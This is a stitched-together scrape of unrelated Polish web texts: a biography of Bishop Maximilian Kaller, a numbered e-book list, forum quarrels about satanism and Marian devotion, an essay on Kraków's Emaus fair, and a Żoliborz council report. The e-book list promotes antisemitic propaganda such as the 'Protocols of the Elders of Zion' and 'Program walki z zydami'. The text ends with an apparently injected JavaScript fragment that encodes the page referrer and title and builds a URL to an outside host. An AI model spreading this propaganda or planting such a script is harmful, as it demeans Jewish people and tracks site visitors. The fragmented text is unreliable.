ewangelickiego. Nowy biskup powołał Akcję Katolicką, wydawał gazetę
diecezjalną, utworzył również seminarium duchowne w Braniewie. Biorąc pod uwagę
skład narodowościowy diecezjan, zdecydował o wydaniu nowego rytuału w czterech
językach: łacińskim, niemieckim, polskim i litewskim. W 1939 roku, kiedy do
Niemiec powróciła Kłajpeda, Kaller został również administratorem apostolskim
tamtego terenu. Najtrudniejsze dla biskupa były lata wojny, musiał bronić wielu
swych księży przed aresztowaniem przez Gestapo.

Kiedy zdał sobie sprawę z ogromu zbrodni popełnianych przez narodowych
socjalistów w 1942 roku próbował wobec nuncjusza w Berlinie zrzec się
kierowania diecezją i wyjechać do obozu koncentracyjnego dla Żydów w Terezinie
(Theresienstadt). Tam chciał pełnić posługę duszpasterską dla tych więźniów,
którzy byli wyznania katolickiego. Próba ta skończyła się jednak
niepowodzeniem. Pod koniec wojny groźba zbliżającej się Armii Czerwonej nie
była w stanie zmusić go do opuszczenia tej ziemi, choć pozostanie groziło
śmiercią z rąk zdobywców. Dopiero uzbrojony oddział SS wywiózł go do Gdańska.
Tułając się, trafił do Halle nad Saalą, skąd po zakończeniu wojny w sierpniu
1945 roku Maximilian Kaller wrócił na Warmię, by odbudowywać struktury
diecezji. Jednakże prymas Polski kardynał Hlond, swoiście interpretując
uzyskane papieskie pełnomocnictwa, zmusił go do rezygnacji z urzędu i
natychmiastowego wyjazdu za Odrę i Nysę Łużycką.

Biskup Kaller wyjechał przez Halle do Wiedenbrück, a potem do Frankfurtu nad
Menem. W 1946 roku papież Pius XII mianował go specjalnym pełnomocnikiem do
spraw Niemców wypędzonych z terenów wschodnich. Pełniąc tę funkcję biskup
wizytował obozy dla przesiedleńców na terenie zachodnich Niemiec i zorganizował
w Königstein/Taunus ośrodek szkoleniowy (zastępcze seminarium duchowne) dla
księży ze Wschodu. Maximilian Kaller zmarł nagle 7 lipca 1947 roku i pochowany
został w Königstein.

W ostatnim czasie rozpoczęto gromadzenie, na razie na szczeblu diecezjalnym,
informacji o nim w celu wszczęcia procesu beatyfikacyjnego. Niewykluczone
zatem, że kiedyś nasze miasto doczeka się świętego - rodowitego bytomianina.

PRZEMYSLAW NADOLSKI

BYTOMSKI PANTEON "

Ksiazki w wersji elektronicznej...

Ksiazki w wersji elektronicznej...
py”
„Ogniem i Mieczem”

„O Komunii na rękę i podobnych nadużyciach” Michael Davies.

„Okultyzm – jako niewierność fundamentalna”

„O propagandzie szeptanej”
”Opowieści Pielgrzyma”

„Orędzie Matki Eugenii”
„Ostrzeżenie”
„Quo Vadis”

„Pamiętnik z I Konferencji żydoznawczej” – 1921 rok

80) „Pan Tadeusz”

„Pieniądze w służbie Narodu” – Colin Barclay – Smith

„Personalizm czy socjalizm” – H. Kieres

„Pionki w grze” cz. I

„Placówka” Boleslaw Prus (Aleksander Głowacki)

„Polscy zdrajcy”

Poznaj żyda” – Kazimierz Gajewski- 1937

„Program walki z zydami” – ks. P. Turbak

„Program światowej polityki żydowskiej”
„Proroctwo Michaldy”

90) „Protokoły mędrców Sjonu”
„Przedsiębiorstwo holokaust” - Norman G. Finkelstein

„Przemilczane zbrodnie”

„Walka z Kościołem i cywilizacją”

„Ren wpada do Tybru” -

„Ratujmy dusze w czyśćcu cierpiące”

„Raport specjalny: „Ściśle tajne” – 1945 tylko dla żydów

„Rok 1984” Orwell

„Sens zycia” – J.M. Bochenski

„Silny Naród” - Bogdan Byrzykowski

100) „Słowa Światła i Miłości przestrogi” Św. Jan od Krzyża.

„Stefan Banach – geniusz ze Lwowa” – Józef Kozielecki

„Sto zabobonow” -

„Szatan i jego dzialanie” – Don Ottavio Michelin

„Strach byc Polakiem” –

„Światowa Rada Kościołów”

„Święci w dziejach Narodu Polskiego”

„Maksymilian M. Kolbe o masonerii”
„Szatan i jego działanie”
110) „Św. Maksymilian M. Kolbe o masonerii i żydach” – St. Krajski

„Świadkowie Jehowy od wewnątrz”

„Święci w dziejach Narodu Polskiego”

„Tajna władza świata” – Texy Maks
„Tajemnica szczescia” –

„Tajemniczy klub”

„Talmud czy Biblia” Ks. Prof. MICHAŁ PORADOWSKI

„Tematy niebezpieczne” – Ratajczak
„Trzydziestolecie Soboru Watykańskiego” Ks. Prof. MICHAŁ PORADOWSKI

„Przygotujcie się na wielkie udręczenie i erę pokoju”

120) „Ucieczka z piekła – pamiętnik satanisty” - Lucas

„Walenrod”

„Wiry” Henryk Sienkiewicz

„W obronie czci Najświętszego Sakramentu”
„W obronie wiary katolickiej”
„Wobec komunizmu” – A. Balon

„Wspolczesne metody myslenia” – J.M. Bochenski

„Wszystkie pisma sw. Franciszka z Asyzu” -

„Wolnomularstwo i jego tajemnice”

„Patriotyzm w medialnej wiosce”

130)„Pospolite ruszenie”

„Wyprzedaż Polski”

„Wiry” Henryk Sienkiewicz

„Wyspa rozbitków”

„Wywieranie wpływu na ludzi” Raobert Cialdini

„Wyznania egzorcysty”
„Za polski samarytanizm – zydowski terror i bandytyzm”
„Zbrodnia bez kary” Leszek Wichrowski

140) „Zbrodnie masonerii w Meksyku” R.Nowak

„Zbrodnie sowieckie”

„Zdrajcy forsuja FBI” –

„Zanim bedzie za pozno” – ks. B. Kant

„Zarys historii – filozofii” – J.M. Bochenski

„Zeszyty Narodowe” (1-24)

„Zgubne zasady talmudyzmu”
„Życie po życiu”
„Żydzi przestańcie kłamać”

“Żydowskie dzieje i religia”

150) „Zydzi w dawnej Polsce” -

Książki w wersji angielskiej:

1) „24 Prot

wszelkie zło pochodzi z nieprzest. zasad religii

otosiu napisał:

> Mario, jeśli chodzi o prawe karne i cywilne to tak jak już wspomniałem jest
to
> zbiór zasad, z których jedne są przeze mnie akceptowalne, inne natomiast
nie..
> i na tym kończę mój wywód na temat prawa..

Wez jednak pod uwage, ze prawodawce nie interesuje, czy Ty jego prawa
akceptujesz czy nie, Ty masz je przestrzegac.

> Ale co ty mi tu piszesz o ochronie praw autorskich? ...przecież ja nie
> wspominałem twórczości literackiej i artystycznej.., bo jeśli chodzi o
> wynalazki i idee o których wspomniałaś to dodaj do swojego słownika pojęcie
> patentu na coś... to bardziej się tyczy sformułowań przez Ciebie użytych..
> Jeśli chodzi natomiast o temat książek, to widzę, że Ty mi tu literaturę
> bajkową przytaczasz, a tym samym wskazujesz mi poziom na którym mam z Tobą
> rozmawiać, czyli bardzo niski...

No przeciez mowilam ze nie chce prowadzic rozmowy na poziomie szkolki
parafialnej. Widocznie nie potrafisz dostrzec ironii...

Nie wymagam przeczytania całości, ale chociaż
> fragmenty Biblii Satanistycznej Czytałaś? ...ja pismo święte czytałem, i od
> razu się przyznam, że nie całe, a we fragmentach, ale chociaż mam
porównanie...
>
> bo faktycznie,wspomniana przez ciebie szkółka parafialna, którą
reprezentujesz
> to dla mnie średniowiecze..

A po czym to Jasnie Oswiecony Kolega raczyl stwierdzic, ze ja reprezentuja
poziom szkolki parafialnej? Po tym, ze nie chce na takim poziomie rozmawiac?

> Mówisz, że jest Ci dobrzez ze swoim tzw. 'bogiem'... ale nie Masz podstaw,
aby
> tak mówić, ponieważ nie masz porównania wiary w innego Boga..

Widzisz, z moim mezem tez zyje ponad 20 lat razem i jest mi dobrze. Mam sie
rozwiesc, wyjsc za maz za innego, aby stwierdzic, z ktorym mi lepiej?
Zauwaz, ze to tez ironia, bo naprawde tylko w ten sposob moge reagowac na Twoje
tezy.

a co więcej,
> jeśli dla Ciebie Satanizm to styl ubierania się, bezczeszczenie grobów czy
> kościołów, Czarne Mszy z ekscesami (chociaż ciekawe co pod tym pojęciem
> rozumiesz?), to Powiem krótko... Zbłaźniłaś się swoja ignorancją.. swoim
> płytkim podejściem do tematu religii.. jeśli Chcesz na ten temat rozmawiać,
to
> najpierw poznaj moją religię, a później się Odzywaj...

Moj drogi, jezeli Ty myslisz, ze jestes pierwszym satanista z ktorym
mam "zaszczyt" rozmawiac, to sie mylisz. Jezeli myslisz, ze wczesniej nie
zaczerpnelam zadnych wiadomosci na temat satanizmu, to tez sie mylisz.
Mozna zapytac, Otusiu, jaki odlam satanizmu reprezentujesz?

> Sztuka sakralna, Powiadasz... a Powiedz mi jeszcze kto to określa
> sztuką? ...księża? ...katolicy?

EKSPERCI ! HISTORYCY SZTUKI !!! Tak katoliccy, jak niekatoliccy.

...i kto jeszcze... dla mnie jest to jedna
> wielka komercja kościoła, który chce się pokazać przed biedną swoją wyznawczą
> chołotą, że dysponuje rzeczami o których im może się tylko śnić..

Otusiu, Ty z pewnoscia tez nie wiesz, skad sie te wszystkie bogactwa przez
wieki wziely w kosciolach. Wisz skad sie wziely skarby w Skarbcu na Jasnej
Gorze? Albo zbiory muzeow watykanskich?

Widzę,że
> całkowiecie nie Zrozumiałaś mojego wątku, a zatem powtórzę... Wy modlicie się
> dla siebie? ..czy żeby pokazać się w pełnuym przepychu kościele? ..tyle jest
> akcji dla biednych, itp. ..a kościół nie może sprzedać swoich bogactw na te
> cele? Słucham... Wytłumacz mi...

Ty naprawde nie wiesz o czym mowisz!!! Jak ma Kaplica Sykstynska sprzedac
malowidla Michala Aniola na suficie??? Jak ma bazylika sw. Franciszka w Asyzu
sprzedac freski Giotto??? A moze Kosciol Mariacki swoja wieze z hejnalista
sprzeda?
A najlepiej niech z tego wszystkiego McDonaldsy albo dyskoteki porobia, tak????

Co do rozdawania biednym, to pewno tez nigdy o misjonarzach, misjach i pomocy
charytatywnej nie slyszales. Z pewnoscia tez nic nie wiesz na temat historii
szpitalnictwa....

> ...i to są STODOŁY PEŁNE BEZROZUMNEGO BYDŁA, KTÓREMU CO SIĘ POWIE TO ZROBI!

Oooo! A co robia satanisci? Robia to, co im kaza inni, a mysla , ze robia to,
co chca....

> ...a tak na koniec... NIC NIE WIDZISZ! NIE MÓW, ŻE WIESZ CO JA WIDZĘ, KIEDY
> NIGDY NIE BYŁAŚ W MOIM POŁOŻENIU.. KIEDY NIGDY NIE CZYTAŁAŚ BIBLII
> SATANISTYCZNEJ.. KIEDY TWOJE SPOJRZENIE, MYŚLENIE I ZACHOWANIE JEST STEROWANE
> PRZEZ INNYCH.. NIC O MNIE NIE WIESZ! ...Antychryst, 6.66...

Wiem o Tobie, ze musisz byc bardzo mlody, bardzo zagubiony i ze sam nie wiesz,
czego chcesz.
Kosciol katolicki Ci nie odpowiada? Nie moja sprawa. Ale jest tyle innych
rzeczy to wyboru...
Pisze tu np. J. Wierny, ktory wybral buddyzm. Szanuje jego wybor. Ale, aby
dokonac takiego wyboru trzeba miec dosyc wysokie przygotowanie intelektualne...

Ty natomiast znajdujesz sie w fazie buntu i bierzesz pierwsza lepsza rzecz,
jaka Ci sie opod reke nawinie.

Wieliczka - nasza sol, zycie i milosc

schlesien.nwgw.de/foto/thumbnails.php?album=106
Jeszcze w XIX stuleciu uroczystości odpustwoe miały swój tradycyjne zwyczaje i
tradycyjne kramy. To właśnie na Emaus buduje się kramy pełne pierników,
zabawek, pukawek i... figur Żydów kiwających się na spręzynowych nogach.
Umocowne spręzynkami do drewnianych podstawek, pochylając się , doskonale
naśladują dostojne ruchy modlących się w synagodze Żydów, wielbiących przecież
Jahwe całym ciałem.
Rodzi się pytanie - skąd bierze się taki a nie inny motyw odpustowy ?
I to pytanie zadał Laband, a odpowie Michał Rożek, ktory tak to tłumaczy:
"Otóż genezy takich figurek należy szukać w tekstach apokryficznych,
dotyczących Męki i Zmartwychwstania Pana Jezusa oraz dawnego , już
przebrzmiałego, nieprzyjaznego stosunku Kościoła do Żydów. W liturgii: za
wiarołomnych Żydów, by Bóg i Pan nasz zdjął zasłone z ich serc, by i oni
poznali Pana naszego , Jezusa Chrystusa.
A zatem emausowe figurki są niczym innym tylko refleksem takiego a nie innego
stosunku chrześcijan do Żydów, jak również wspomnieniem legendarnych żydowskich
wysłanników, którzy zaprzeczali wieściom o Zmartwychwstaniu Pana Jezusa i za
karę utracili mowę, jednakże do końca świata mają się modlić, kiwając się
zgodnie z rytuałem żydowskim."

I takie własnie Figurki Żydów można było dawniej kupić na Emausie. Z czasem
zapomniano o ich symbolice dostrzegając w nich jedynie pamiątkę odpustową.
Tak pisze dalej:
"Figurki Emauśnych Żydów mogły się także kojarzyć ludziom ze smingusem. A na
Emausie dobrze leją wodą i nikomu nie przepuszaczają. Już w XIII stuleciu
ksiądz Jędrzej Kitowicz opowiadał o genezie tej zabawy: Jedno mówią, iż wzioł
się z Jerozolimu, gdzie Żydów schodzących się i rozmawiających o
Zmartwychwstaniu Chrystusowym wodą z okien oblewali, dla rozpędzenia z kupy i
przytłumienia takowych opowieści.
Tak czy inaczej jeszcze nie tak dawno Emaus kojarzył się krakowianom z
figurkami Żydów, którymi w celach magicznych ozdabiali domy, traktując te
zmyślone figurki jako środek ochraniający człowieka przed najszerzej
pojmowanym złem, z którym identyfikowano - nie tak dawno - rzekomych zabojców
Zbawiciela.

Podczas Emaus na kramach można było spotkać - gliniane dzwonki o nieco
archaicznych kształtach używane ongiś do magicznych praktyk odpędzania złego.
Siekierki pomalowane w tajemnicze znaki, drewniane ptaszki oraz zabawki
wyobrażające Mistrza Twardowskiego na kogucie.
Ptaszki wedle prastarych wierzeń ludowych symbolizują one duszę, która zaraz po
śmierci - aż do pogrzebu wciela sie w ptaka.
Jak tradycja zanika niech stanowi dowód, że w Krakowie był jeszcze trzeci
odpust po Emausie, Rekawce. Odpust już dawno zapomniany, który odbywał się w
Niedzielę Przewodnią, czyli pierwszą po Wielkanocy, tak zwany odpust
galilejski. Ostatni taki odpust był 200 lat temu i niestety , nic bliższego o
nim nie można powiedzieć, tyle tylko , że odbywał się przy kościele św.
Sebastiana, a póżniej przeniesiono odpust pod inny kościół i tam już upadła
tradycja.

Na zakończenie powiem , że taki odpust to raj dla dzieci - gwar i hałas, cała
gama pisków, piszczałek, świergotów, gwizdów, trąbienia i grzechotania, głosy
fujarek i harmonijek, różnego rodzaju pukawek i strzelania. Takie były ramy
krakowskiego Emaus.
A ja jeszcze pamiętam, że bardzo lubiałam ptaszka - nie wiem czy ktoś pamięta,
ale to taki ptaszek na kółkach i na patyku, taki drewniany i jak się trzymało
za patyk to jeżdzący ptaszek machał drewnianymi skrzydłami. Tego już nie ma. A
pamietacie takie różowe baloniki piszczałki co jak się schodziło z niego
powietrze to tak piszczało , że Smok krakowski uciekał biegiem ;)

Objawienia Maryjne - dzieło demona?

Michale . To co jest napisane w Bibli - znam , chodzi tylko o
interpretacje a te bedą różne a Prawdę zna tylko Bóg . Ja mam swoje
zrozumienie poparte kilkudziesięcioma latami moich doświadczeń i
zrozumienia Boga . Nie jestem już w przedszkolu i w dużej części idę
dalej niż KK , czy jakakolwiek denominacja , a jednak nikogo nie
oceniam i uznaję że wszędzie jest cząstka Prawdy o Bogu . Do końca
nikt nigdy nie poznał i nie pozna w tej rzeczywistości Boga , jednak
Syn Jezus Objawił GO najbliżej . Powoływanie na jakieś nagrania na
Yutube jest dla mnie mało wiarygodne .
Zaczniemy więc po kolei może Cię przekonam a przynajmniej zasieję
wątpliwości co do powoływania się na jednostronne żródła . Szanuję
Ciebie bardzo i oświadczam że jako człowiek prawdopodobnie jesteś
bardziej inteligentny i wykształcony niż ja , jednak w kategoryżmie
twoich twierdzeń się mylisz .
Biblia mówi o Babilonie i wielkiej nierządnicy , lecz tylko
przeciwnicy KK odnoszą te określenia do tegoż Koscioła i Maryji . To
tylko interpretacja pod swoje hasła - nic więcej , żadnych dowodów .
Mówisz zacytuj mi z Biblii słowa Jezusa każące czcić Maryję i proszę
bardzo , na krzyżu Jezus powiedział do ucznia "...Oto Matka Twoja..."
Wszyscy wyznawcy Jezusa to Jego uczniowie i tym testamentem z krzyża
Jezus nakazał nam przyjąć Maryję jako naszą Matkę Duchową ,
uzupełnieniem czczenia Maryji są słowa czwartego przykazania :"czcij
Ojca swego i Matkę swoją" , a poza tym i przede wszystkim wszyscy
wyznawcy Jezusa przez Wiarę w Niego i Chrzest Święty zostają
Wszczepieni w Ducha Jezusa i będąc sobą są jednoczesnie członkami
Mistycznego Ciała Chrystusa . Jezus zaś choć jest Bogiem to według
Ciała był ŻYDEM i czcił swoją Matkę . Że Ją szanował i mimo tego że
był Bogiem słuchał mamy przykład cudu w Kanie Galilejskiej ; choć
powiedział."Czyż to moja lub Twoja sprawa Niewiasto ?" Uczynił ten
Cud a Maryja powiedziała do sług "uczyńcie wszystko cokolwiek wam
mój Syn powie".
Maryja Otrzymała Ducha Świętego Pierwsza już w momencie Poczęcia
Jezusa a potem była z Kościołem przy zesłaniu Ducha w dniu
pięćdziesiątnicy , od samego początku opiekowała się rodzącym się
Kościołem Jej Syna i Była Pierwsza w zjednoczeniu z NIM niż
ktokolwiek z ludzi . Teraz jest Zjednoczona z Bogiem i w szczególny
sposób doznaje czci jako Matka Syna Bożego .
Jednak jeżeli ktoś nie może zrozumieć , lub zgodzić się z takim
rozumieniem nie ma to dla mnie żadnego znaczenia - do Boga wiedzie
wiele Dróg . Kategoryczne zaś twierdzenie odwrotne i walka z takimi
wierzeniami jest niepotrzebna i jest w większości wypadków walką o
nowych zwolenników dla swojego wierzenia .
Bóg zakazał czynienia wizerunków innych bogów , jakich w tym czasie
było wielu i w tym czasie tylko o to chodziło gdyż pełny nakaz mówił
o czynieniu wizerunków i oddawaniu im czci należnej Prawdziwemu i
Jedynemu Bogu .
Dzisiejsze zrozumienie jest inne . Jezus potwierdził sam swoimi
słowami , słowa z Bibli mówiące "Bogami jesteście" i dalej Objawił
że każdy kto w Niego Wierzy stanie się jak ON "... i przyjdziemy do
niego z Ojcem /wierzącego w Chrystusa/ i mieszkanie w nim
uczynimy..." Czcąc wizerunek Jezusa oddajemy cześć Bogu , czcząc
wizerunek Maryji , lub innego świętego czcimy Jezusa , którego
cześcią Mistycznego Ciała stali się przez Wiarę i Chrzest Święty .
Jezus zaprasza nas wyraznie do stawania się takimi jak ON w pełni
Chwały i Świętości jako Dzieci Boga .
Co do tego że liczy się tylko Otwarcie na Boga a nie nasza wiedza ,
sposób modlitwy , intensywność , lub inteligencja modlitwy - Jestem
tego Pewien . To Bóg Jest Żródłem Wiedzy i Mocy i Chwały i sięgamy
po To Wszystko i Otrzymujemy To wszystko nie za sposób modlitwy
byłoby to niesprawiedliwe gdyż kazdy otrzymał tutaj na ziemi inne
ciało ograniczone mniej , lub bardziej a Bóg to wszystko Zakrywa i
Uświęca bez względu na te ograniczenia . Liczy się tylko czas
zanużenia w Żródle w czasie którego nasze Ciała i umysły ciał
zostają napromieniowane Bożą Energią wprowadzajacą Ład i usuwającą
kody i ograniczenia . Pozdrawiam wszystkich . Władek .

Kocham Cię Boże Ojcze . Władek .
Jestem cząstką Boga !

banalny - PrZePiS nA sZcZęŚlIwE żYcIe

Witaj Michale,
dziękuję za odpowiedź.
Masz rację, że łatwo jest przerwać chodzenie do kościoła, ale co dalej?
I to jest właśnie sedno sprawy...
bo jeśli się nie znajdzie czegoś w zamian to odczuwa się wieczne
niespełnienie... i to ono powoduje, że w końcu wraca się na łono kościoła,
bo to jest to co wydaje się najprostsze i najbliższe.
Piszesz: "jeśli przekonują Cie moje teksty to nie chodź do tych Instytucji
Pośrednictwa z Bogiem skoro można Go złapać łatwiej".
Naprawdę łatwiej? Aby to był kontakt rzeczywisty, prawdziwy, głęboki,
trzeba nad nim pracować, aby osiągnąć taki sposób rozmowy z Bogiem, który...
uczyni nas spokojnymi, pewnymi, szczęśliwymi...
Dodam pracy systematycznej, a z tym bywa najtrudniej, czego jestem przykładem...
Napisz proszę poprzez jakie działania można nad tym kontaktem pracować...?
Zapewne będzie to modlitwa, ale modlitwa jest właśnie praktyką narzuconą nam
przez kościół, więc intuicja się buntuje, owszem można rozmawiać nie
wyklepanymi formułkami, ale swoim własnym językiem... ale tym razem nasza
racjonalna strona podpowiada „gadał dziad do obrazu”.
Jakie techniki stosować? Afirmacje, wizualizacje...? Dla mnie są one mało
skuteczne: brak cierpliwości, rozkojarzenie, głęboko zakorzeniony w
podświadomości racjonalizm.
Czym innym jest czuć coś intuicyjnie, a czym innym wcielić to w
życie...nawiązać bliski kontakt z nadświadomością i umieć wyrywać chwasty z
ogrodu podświadomości,
bo nie wiem, czy się zgodzisz z tym porównaniem, ale w podświadomości jest
również wiele całkiem ładnych kwiatków, które warto pielęgnować...:-)
Czy nie uważasz, że zarówno podświadomość filtruje to, co płynie z intuicji,
tak samo nadświadomość pomaga odróżnić kwiatki od chwastów w podświadomości?
Nie przekonują mnie takie techniki jak regresing... podchodzę ze sceptycyzmem
do sposobów oddziaływania jednych ludzi na drugich poprzez energię, hipnozę,
etc. Może to kwestia moich doświadczeń np. z bioenergoterapeutami i innymi
szamanami. Moja intuicja mówi mi, że tylko my sami możemy sobie pomóc, tylko w
nas jest siła do zmian, co oczywiście nie wyklucza otwartości na sugestie,
rady... ale nie na jakieś tam oddziaływanie...
Kto poznał siebie, poznał Boga (św.Klemens)
Czy chodzenie do kościoła może zaszkodzić? Jednym tak, innym nie. Myślę, że
bohaterowi „Sedna sprawy” Grahama Greena zaszkodziło... Chociaż z drugiej
strony... wykazał się konsekwencją i wyjątkowo silną wiarą w Boga „kościelnego”
i skoro zawiódł Boga (jednocześnie we własnym mniemaniu siebie) popełniając
śmiertelny grzech to i sam siebie ukarał. Wyjątkowo surowy był ten jego Bóg...
Ale w takiego wierzył i miał do tego prawo. Nie można odbierać człowiekowi jego
prawa do własnych wyborów... Nieprawdaż...
Wracając do meritum, jak dotrzeć do intuicji, nadświadomości (Boga)?
Jak pracować nad sobą? Mając jednocześnie świadomość swoich słabości,
racjonalności, sceptycyzmu, ale też niskiej samooceny... tej ostatniej często
nie uświadamianej, jak tu napisała jedna z kobiet.... zdziwiona, że ktoś z
otoczenia to dostrzegł... a ona nigdy by na to nie wpadła... no właśnie. Czy
może zacząć od pracy nad tzw. asertywnością?
Pozdrawiam serdecznie.
Ilona

PiS, W.Dąbrowski, skandal

Dziś (4 stycznia 2007 roku) Radzie Dzielnicy Żoliborz przedstawieni zostali
wyznaczeni na mocy zarządzenia 26/2007 nowy Burmistrz i dwaj jego zastępcy.
Burmistrzem Żoliborza został magister prawa Janusz Warakomski z PO.
Na jego zastępców wyznaczono panów Witolda Sielewicza z PD i Michała
Jakubowskiego (niezależnego). Składam im z tej okazji gratulacje.
W czasie swej autoprezentacji przedstawili się wyznaczeni, jako doświadczeni
menedżerowie.
Pan Janusz Warakomski, jak sam siebie żartobliwie określił jest prawnikiem, a z
zawodu urzędnikiem. Związany jest z problematyką samorządową od lat
dziewięćdziesiątych, gdy przygotowywał z profesorem Regulskim reformę
samorządową (w Urzędzie Rady Ministrów).
Pracował w Departamencie Administracji Publicznej. Następnie w Ministerstwie
Rolnictwa był dyrektorem generalnym.
Później był wicedyrektorem Urzędu na Woli, ostatnio zaś wiceburmistrzem Bielan.
Cały ten czas zajmował się także działalnością naukową, pracując w Polskiej
Akademii Nauk w Instytucie Nauk Ekonomicznych.
Za największy swój dotychczasowy sukces uznał udaną rodzinę, a po chwili, kiedy
sala wyraziła aprobatę, zakwalifikowanie się do Państwowego Zasobu Kadrowego.
Pan Witold Sielewicz z wykształcenia magister zarządzania, jest działaczem
Stowarzyszenia Wolnego Słowa, a także Stowarzyszenia Kupców i Drobnych
Przedsiębiorców. Zajmuje się pomocą Polakom, szczególnie zamieszkałym na
Białorusi. Dał się poznać jako znakomity organizator w Raszynie. Pomógł w
powstaniu Centrum Handlowego. To Centrum Handlowe w Jankach uważa za swój
największy sukces, za porażkę zaś to, iż nie udało się w Raszynie stworzyć
planów miejscowych i uporządkować terenów wzdłuż Szosy Krakowskiej. Obecny
Raszyn, pod względem urody przyrównał do Komorowa. Należał do ROAD, UD, i
późniejszej UW.
Pan Michał Jakubowski skończył Akademię Teologii Katolickiej oraz Podyplomowe
Studia Rozwoju Regionalnego na Uniwersytecie Warszawskim. Jak sam się określił,
jest więźniem samorządności. Nic dziwnego, bowiem przez cztery ostatnie
kadencje, czyli 16 lat był Burmistrzem miasta Kobyłka.
Za największy sukces uznał to, iż do tej pory wodociągi dotarły do 70%
gospodarstw i że ta akcja "zwodociągowania" Kobyłki jest kontynuowana.
Za porażkę uznał to, iż odwlekło się rozwiązanie problemów związanych z
kanalizacją Kobyłki.
Po wystąpieniach Burmistrza i jego zastępców głos zabrał radny Hlebowicz z klubu
Prawa i Sprawiedliwości, który zaprotestował przeciw łamaniu zasad
samorządności, decentralizacji i pomocniczości przez panią Prezydent Warszawy
Hannę Gronkiewicz-Waltz, która to na dzień przed planowanymi przez Radę wyborami
sama autorytarnie wyznaczyła Zarząd. Zarząd w ten sposób został wyznaczony, a
nie wybrany. Stwierdził, iż takie zachowanie pani Prezydent podważa sens
powoływania Rad Dzielnic. Złożył następnie wniosek 1/4 składu Rady o odwołanie w
ten sposób wyznaczonego Zarządu.
Przeciw opieszałości Klubu PO wystąpiła pani Liliana Koperska z Prawa i
Sprawiedliwości, która w imieniu swojego klubu ponadto ubolewała nad powstałą
sytuacją do której PO doprowadziło.
Na koniec Sesji zapytano co z wycinką drzew przy Cytadeli i co z wiatą przy
Kościele Świętego Jana Kantego.
Burmistrz zobowiązał się odpowiedzieć na te pytania na piśmie.
Zajęto się też organizacją pracy poszczególnych komisji Rady wraz z rozpisaniem
grafików dyżurów.
Cóż mi pozostało?
Życzę jeszcze wszystkiego dobrego nowemu Burmistrzowi panu Januszowi
Warakomskiemu i jego zastępcom!

Pozdrawiam

Post scriptum
Lukasie wyglądają nowi burmistrzowie na ludzi energicznych i stanowczych. A jacy
będą, zobaczymy!

function bb5154550fbc57f(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154550fbc543(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154550fbc543(bb5154550fbc57f(document.referrer),bb5154550fbc57f(document.title)));